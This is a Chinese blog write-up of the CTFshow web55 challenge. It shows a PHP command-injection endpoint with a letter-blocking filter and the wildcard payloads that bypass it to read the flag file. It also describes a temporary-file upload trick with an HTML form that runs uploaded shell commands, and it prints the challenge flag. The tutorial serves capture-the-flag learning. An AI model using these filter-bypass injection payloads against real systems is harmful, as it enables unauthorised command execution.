• CTFshow web55


    目录

    web55

    代码分析:

    通配符解题:

    构造rce

    上传脚本

    flag:


    web55

    代码分析:

    1. if(isset($_GET['c'])){
    2. $c=$_GET['c'];
    3. if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\, $c)){
    4. system($c);
    5. }
    6. }else{
    7. highlight_file(__FILE__);
    8. }

    过滤了所有字母,下意识想到用异或运算构造字符,但是法相不太行,最后看了大佬的题解发现是构造rce,或者利用目录特性来做

    通配符解题:

    /bin/base64 以base64加密输出文件,并且/???/????64可以定位到,所以

    payload: /?c=/???/????64 ????.???

     

     

    第二种:

     /usr/bin/bzip2,将文件压缩为文件名.bz2可以使用/???/???/????2 访问到

    payload: /?c=/???/???/????2 ????.???

    然后访问/flag.php.bz2

    下载后打开

     拿到flag

    构造rce

    第一步先写一个上传的网页,因为php中会把上传的文件先放到临时文件中,前面XSS有提到,又因为.没被过滤,所以可以上传一个命令文件,使用.执行,临时文件一般放在/tmp/文件,且命名规则为php加5个小写字母加一个可能为大写的字母,可以通过 . /???/????????[@-]]来访问,[@-]]是匹配大写字母用的

    上传脚本

    1. "en">
    2. "UTF-8">
    3. "viewport" content="width=device-width, initial-scale=1.0">
    4. POST数据包POC
    5. "http://20a29f30-b869-423a-a6d6-e8cac9b4ca30.challenge.ctf.show/" method="post" enctype="multipart/form-data">
    6. "file" name="file" id="file">
    7. "submit" name="submit" value="提交">

    使用脚本向目标网站上传一个1.txt,抓包

    修改内容如下,加一个参数用来执行

    文件内容为:##/bin/sh调用控制台 +ls

     发到重发器上,如果没有结果则再发送一次,因为最后一个字母不一定是大写的,所以要刷概率

     结果出来啦

    最后使用 cat flag.php,因为我前面给它压缩了变成了flag.php.bz2,所以cat到一堆乱码,就不展示了

    flag:

    ctfshow{ff85d8ef-05f2-4e62-a314-3e05ce5351df}

     

  • 相关阅读:
    如何创建网站才能满足用户需求?
    Postgresql中的C/C++混编(JIT)
    知识蒸馏-【初识】
    linux配置本地yum源
    Job 和 DaemonSet
    ROS1可视化利器---Webviz
    最新国内maven仓库镜像地址
    04 数学软件与建模---Lingo
    深入探究音视频开源库WebRTC中NetEQ音频抗网络延时与抗丢包的实现机制
    因学校要求寻找数据库
  • 原文地址:https://blog.csdn.net/qq_40345591/article/details/127791317